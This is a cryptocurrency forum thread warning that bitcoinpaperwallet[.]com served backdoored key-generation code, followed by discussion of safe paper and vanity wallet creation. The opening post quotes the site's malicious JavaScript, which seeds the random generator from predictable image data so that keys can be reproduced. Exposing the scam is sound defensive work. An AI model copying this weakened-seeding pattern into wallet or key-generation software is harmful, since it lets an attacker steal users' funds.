Author

Topic: Vulnerability discovered on bitcoinpaperwallet[.]com - DO NOT USE IT (Read 552 times)

legendary
Activity: 3696
Merit: 2219
💲🏎️💨🚓
What I'm talking about is taking the other person's part private key and generating a vanity wallet address
Don't you mean public key?

No.

Part private key is what I said.  Feel free to read up on the subject then we can pick up this conversation where I'm now going to leave it off (until you read up on the subject that is).

I can't see any reason why the other party needs "private" key, partial or not. They only need the public key and then they can move from there by incrementing that point one G at a time until they find the correct public key that generates the desired address. Then all they have to do is to send back the number of times they added G to that point. User can simply add that value to their private key and get the new private key which corresponds to the public key of the vanity address.

It doesn't work like that - as I said, I encourage you to read up on the subject.
legendary
Activity: 3472
Merit: 10611
What I'm talking about is taking the other person's part private key and generating a vanity wallet address
Don't you mean public key?
I can't see any reason why the other party needs "private" key, partial or not. They only need the public key and then they can move from there by incrementing that point one G at a time until they find the correct public key that generates the desired address. Then all they have to do is to send back the number of times they added G to that point. User can simply add that value to their private key and get the new private key which corresponds to the public key of the vanity address.
legendary
Activity: 3696
Merit: 2219
💲🏎️💨🚓
Except how many people know how to split the private key in the first place? Or know that there is actually no splitting involved but you're just taking two random PKs and combining them together?

Most of the procedures people use to generate a split vanity address involves such voodoo as generating a random PK somewhere and then combining them on bitaddress.org.

There is one post that does explain what Bitaddress is doing, and I wrote it, but it has yet to be featured in anyone's software.

Not quite.

What I'm talking about is taking the other person's part private key and generating a vanity wallet address - the result is imported by the sender (the result) into their own wallet.  No-one else can import the found result into their own wallet.  AFAIA no-one has found a vulnerability with this method and it was, or still is, being used and can be found in the various vanity wallet generating threads around the Forum.
legendary
Activity: 1568
Merit: 6660
bitcoincleanup.com / bitmixlist.org
I wouldn't trust a VanitySearch site that isn't made by me or WhyFy.

The issue is more about who creates the site rather than what is used to create it.

Unless of course you were provided with a Part Private Key in which case there is no chance of interference.  I have rolled a handful of vanity wallets for others using this method via @LoyceV's thread - it was for me to gain some experience at doing such things (and I always ensured LoyceV was paid as it was their thread).

If a website were to take your part private key then there wouldn't be any issue surrounding any website going rogue.

Except how many people know how to split the private key in the first place? Or know that there is actually no splitting involved but you're just taking two random PKs and combining them together?

Most of the procedures people use to generate a split vanity address involves such voodoo as generating a random PK somewhere and then combining them on bitaddress.org.

There is one post that does explain what Bitaddress is doing, and I wrote it, but it has yet to be featured in anyone's software.
legendary
Activity: 3472
Merit: 10611
I wouldn't trust a VanitySearch site that isn't made by me or WhyFy.

The issue is more about who creates the site rather than what is used to create it.
It will be difficult for me to know who I can trust. Just a small search, I can get many search results related to Vanity Search. Most of them are open source on Github. I can't even tell which one is safe or not. It is possible to scan the file before installing, but there might still be vulnerabilities like this subject, right?
I can tell you who not to trust.
You should never trust a website, even if it is popular. For example you should never trust bitaddress.org website even though it is a popular project. Because it is a website and you can't tell what really is happening when you generate a key there.
You should also never trust a Vanity address creator that generates the key on their own. There is nothing stopping them from saving the key. There was ways to make this safe by just giving them a public key and they work from there but there are some complications involved.
And finally being open source and on Github doesn't mean they are safe. Being that and popular to have their code reviewed by others makes them safe.
hero member
Activity: 2520
Merit: 952
Nice finding but I still don't catch the reason why people easily accept wallet generator from third-party while they can do that with Bitcoin Core or Electrum (creating wallet offline). After that, print or write private keys or mnemonic seeds on paper. It is safer and not too hard to do.

What are the chances that thing mentioned in op can happen with wallets you mentioned as well?
legendary
Activity: 3696
Merit: 2219
💲🏎️💨🚓
I wouldn't trust a VanitySearch site that isn't made by me or WhyFy.

The issue is more about who creates the site rather than what is used to create it.

Unless of course you were provided with a Part Private Key in which case there is no chance of interference.  I have rolled a handful of vanity wallets for others using this method via @LoyceV's thread - it was for me to gain some experience at doing such things (and I always ensured LoyceV was paid as it was their thread).

If a website were to take your part private key then there wouldn't be any issue surrounding any website going rogue.
full member
Activity: 442
Merit: 101
I wouldn't trust a VanitySearch site that isn't made by me or WhyFy.

The issue is more about who creates the site rather than what is used to create it.
It will be difficult for me to know who I can trust. Just a small search, I can get many search results related to Vanity Search. Most of them are open source on Github. I can't even tell which one is safe or not. It is possible to scan the file before installing, but there might still be vulnerabilities like this subject, right?
legendary
Activity: 1568
Merit: 6660
bitcoincleanup.com / bitmixlist.org
I have no knowledge of Bitcoin technology, so for safety I think I need to be answered. Is it safe to use open sources to create another site? For example Vanity Search or the like to customize your address. I see some people providing instructions on how to do it, is it really safe? Is the open source you mentioned like Vanity Search?

I wouldn't trust a VanitySearch site that isn't made by me or WhyFy.

The issue is more about who creates the site rather than what is used to create it.
full member
Activity: 442
Merit: 101
I have no knowledge of Bitcoin technology, so for safety I think I need to be answered. Is it safe to use open sources to create another site? For example Vanity Search or the like to customize your address. I see some people providing instructions on how to do it, is it really safe? Is the open source you mentioned like Vanity Search?
legendary
Activity: 3346
Merit: 3125
Users should avoid any service to generate wallets online. There is always a risk, even if the site inst vulned the key could get hacked with spoofing or a Man in middle attack. That's why I always recommend to the users to generate their address with the software on their machines, a good tool for this task is vanity gen. If we use it on a virtual machine without an internet connection we can be safe while creating our addresses.

Never use a paper wallet online service, that's a big mistake and people who do it are risking their coins.
legendary
Activity: 3472
Merit: 10611
I'm wondering when they went rogue in case it was before or after my paper wallets were created.
The malicious site would have created a key that is known by the owner of the website and any coins that you had sent to that address would have been stolen by the time it was created. So if they are untouched until today, there is a good chance that they are safe; however, I wouldn't take any risks if I were you, I'd simply create a new paper wallet the "correct way" and move the coins to the new one.
member
Activity: 88
Merit: 13
Cheers!
You don't need a website or a specialized tool to create a paper wallet because there is nothing special about a paper wallet. It is simply a private key written on a piece of paper. You can just download the main client of the coin you want to create the paper wallet for (in this case Dogecoin core for Dogecoin) and create a new wallet and export one of its private keys with the corresponding address and write that  down on a piece of paper.

You misunderstand my question my friend, I am asking because many years ago I'd done some trades on an exchange for DOGE for a good price and figured I'd either buy the coins back later for a lower price or cash them in for bitcoins.  I did neither and a little while later I heard the exchange was in trouble (they ended up folding) so I made a couple of paper wallets (because in those days I couldn't afford the storage to download the bitcoin, dogecoin and some other coin's block-chains) and that's where this website comes in as it was the one I used to create the DOGE coin paper wallets.  I'm wondering when they went rogue in case it was before or after my paper wallets were created.

AFAIK, 7 Years ago, project was open source and giving paper wallet using open source code.
at some point from 2018 to 2019 project tern into scam and changing code from real open source one to other scam one.
you can read more about this story from google. site now is scam and using that special domain name to earn more.

If that's the case, then my coins are safe as I'd created the paper wallets more than a year earlier than that time frame.  Thanks.
legendary
Activity: 3472
Merit: 10611
Has the DOGE coin paper wallet site been affected too?
https://bitcoinpaperwallet [dot] com/dogecoin-paper-wallet-generator/
When was the original modification (scam) of the bitcoin paper wallet website made?
You don't need a website or a specialized tool to create a paper wallet because there is nothing special about a paper wallet. It is simply a private key written on a piece of paper. You can just download the main client of the coin you want to create the paper wallet for (in this case Dogecoin core for Dogecoin) and create a new wallet and export one of its private keys with the corresponding address and write that  down on a piece of paper.
legendary
Activity: 2702
Merit: 4002
Has the DOGE coin paper wallet site been affected too?

https://bitcoinpaperwallet [dot] com/dogecoin-paper-wallet-generator/

When was the original modification (scam) of the bitcoin paper wallet website made?
AFAIK, 7 Years ago, project was open source and giving paper wallet using open source code.
at some point from 2018 to 2019 project tern into scam and changing code from real open source one to other scam one.
you can read more about this story from google. site now is scam and using that special domain name to earn more.
member
Activity: 88
Merit: 13
Cheers!
Just want to bump this thread, it's already 2021 but the website is up and still scamming bitcoin enthusiast. And according to this reddit post, help me shut down the bitcoinpaperwallet.com scam.

I have submitted the report already, it's about time that the community work together again to put a stop to the people behind this project.

Has the DOGE coin paper wallet site been affected too?

https://bitcoinpaperwallet [dot] com/dogecoin-paper-wallet-generator/

When was the original modification (scam) of the bitcoin paper wallet website made?
hero member
Activity: 2632
Merit: 833
Just want to bump this thread, it's already 2021 but the website is up and still scamming bitcoin enthusiast. And according to this reddit post, help me shut down the bitcoinpaperwallet.com scam.

I have submitted the report already, it's about time that the community work together again to put a stop to the people behind this project.
legendary
Activity: 1624
Merit: 2481
This post has been published a year ago.

That's one of the reasons to not use such a service/website to generate a paper wallet. Not even when downloading the source code from github and running it on an offline machine.
It is just not worth the risk.
hero member
Activity: 2660
Merit: 551
This is not new I supposed, because it was reported last year already:
The above article talks about bitcoinpaperwallet[.]com and not WalletGeneratorDOTnet, although I think both sites are run by the same scammer.

The link you gave above is the same link that is included on that thread that I've posted.

You can check it yourself, that's why I said that this is nothing new and have been exposed about the same time last year, May 2019.

But I have to agree that probably the same bad actor are behind this websites.
legendary
Activity: 3472
Merit: 10611
Hopefully they are the exception to the rule?

I have been using https://segwitaddress.org/ for newer "number three" wallet addresses and before that https://www.bitaddress.org/ for the older 'number one" addresses.  I can't recall hearing that they are also infected - can anyone confirm they are ok?

you should always do these yourself and only trust your own judgement. to learn how to do it you have to go to the corresponding github repository and download the source code from there. one indication of whether it is changed or not is the last commit date. for example for https://github.com/pointbiz/bitaddress.org it is Dec 24, 2016 which is a good indication that the code is the same as it was 4 years ago.

i would also suggest using a trusted desktop wallet to generate a paper wallet though.
hero member
Activity: 1834
Merit: 759
Hopefully they are the exception to the rule?

I have been using https://segwitaddress.org/ for newer "number three" wallet addresses and before that https://www.bitaddress.org/ for the older 'number one" addresses.  I can't recall hearing that they are also infected - can anyone confirm they are ok?


It seems like both of those are safe for now, as I couldn't find any legitimate scam accusations. Considering this is an incredibly high stake scenario though, when in doubt, it's best to simply go for the more reputable options. As others have pointed out, Bitcoin Core and Electrum are popular, and therefore more scrutinized, making them safer to trust for people who can't review code by themselves.
member
Activity: 88
Merit: 13
Cheers!
Hopefully they are the exception to the rule?

I have been using https://segwitaddress.org/ for newer "number three" wallet addresses and before that https://www.bitaddress.org/ for the older 'number one" addresses.  I can't recall hearing that they are also infected - can anyone confirm they are ok?
legendary
Activity: 2702
Merit: 4002
Nice finding but I still don't catch the reason why people easily accept wallet generator from third-party while they can do that with Bitcoin Core or Electrum (creating wallet offline). After that, print or write private keys or mnemonic seeds on paper. It is safer and not too hard to do.
I can think of two logical reasons:

 - They believe that it is the same as Bitcoin Core or Electrum security because it is open source and addresses can be generated offline.
 - Attractive and elegant designs that are suitable for gifts, and are easy to print.

there's hundreds of independent users who check the changes and have enough skill and familiarity with the codebase to do so.
I agree with you, the relative security that many users feel that the wallet is open source or running it offline makes them trust them without reviewing the code.
Unfortunately, the random generation function can produce predictable private keys.

BTW: Here's a python code that generates such predictable addresses:

Code:
#!/usr/bin/env python3
# [repo]    github.com/brianddk/reddit/blob/master/python/bad_address.py
# [req]     pip3 install pycoin mnemonic

from mnemonic import Mnemonic
from pycoin.symbols.btc import network as btc

code = ("abandon abandon abandon abandon abandon abandon" +
        " abandon abandon abandon abandon abandon about")
path = '44H/0H/0H/0/0'
mnemo = Mnemonic("english")

one_privkey = btc.parse.secret_exponent(1).address()
zero_hash   = btc.address.for_p2pkh(bytes([0]*20))
zero_bip39  = btc.keys.bip32_seed(mnemo.to_seed(code)
                ).subkey_for_path(path).address()

print(one_privkey, zero_bip39, zero_hash)   

This is not new I supposed, because it was reported last year already:
The above article talks about bitcoinpaperwallet[.]com and not WalletGeneratorDOTnet, although I think both sites are run by the same scammer.

 
legendary
Activity: 2702
Merit: 3045
Top Crypto Casino
Nice finding but I still don't catch the reason why people easily accept wallet generator from third-party while they can do that with Bitcoin Core or Electrum (creating wallet offline).
Not everyone can afford to run bitcoin core and isn't Electrum, in one way or another, a third-party software!
You are missing the point here which is "don't trust, verify".
It doesn't matter whether you use it online or offline if you do not verify its code and know how things work under the hood.
legendary
Activity: 3024
Merit: 2148
Browser-based software is inherently less safe, because each time you open the site is like installing a program anew. This can make it harder to audit, because a server can selectively serve malicious code.

In brief:

 - Being open-source, code on GitHub, runs offline, does not mean that you are safe.


This is why it's important to use open source software that has the most users, it increases chances of catching malicious modifications early. When Core or Electrum releases new version, there's hundreds of independent users who check the changes and have enough skill and familiarity with the codebase to do so.
hero member
Activity: 1722
Merit: 801
Nice finding but I still don't catch the reason why people easily accept wallet generator from third-party while they can do that with Bitcoin Core or Electrum (creating wallet offline). After that, print or write private keys or mnemonic seeds on paper. It is safer and not too hard to do.
legendary
Activity: 2702
Merit: 4002
In brief:

 - Being open-source, code on GitHub, runs offline, does not mean that you are safe.
 - If you have not read every line in Khaled, and the code on the site matches Khaled, then you are not safe.
 - Ensure that code being served via the URL match the code on GitHub.
 - Don’t trust, Verify.

Warning: bitcoinpaperwallet[Dot]com/walletgenerator[Dot]net have a backdoor that leaves you at risk of your funds being stolen.

there have been changes in the code being served via the bitcoinpaperwallet[.]com did not match the code on GitHub and thus duplicate keypairs being provided to users(potentially making the keys generated non-random or producible.)

When generating a key, you take a super-random number, turn it into the private key, and turn that into the public key / address. However, if the “super-random” number is always “5,” the private key that is generated will always be the same. This is why it’s so important that the super-random number is actually random…not “5.”
Code:
  var base64 = "data:image/png;base64," + btoa([].reduce.call(new Uint8Array(this.response),function(p,c){return p+String.fromCharCode(c)},''));
                for(var i = 0; i < base64.length; i++)
                {
                    if(i+3 < base64.length)
                    {
                        if(base64.charCodeAt(i) != 0 && base64.charCodeAt(i+1) != 0 && base64.charCodeAt(i+2) != 0 && base64.charCodeAt(i) != 1 && base64.charCodeAt(i+1) != 1 && base64.charCodeAt(i+2) != 1)
                        {
                            SecureRandom.seedInt((base64.charCodeAt(i) * base64.charCodeAt(i+1) * base64.charCodeAt(i+2))*(i+1));
                        }
                    }
                }
                SecureRandom.loaded = 1;
            };

Source ----> https://bitcointalksearch.org/topic/m.54444963

Read more ----> https://twitter.com/MyCrypto/status/1261830475003252736
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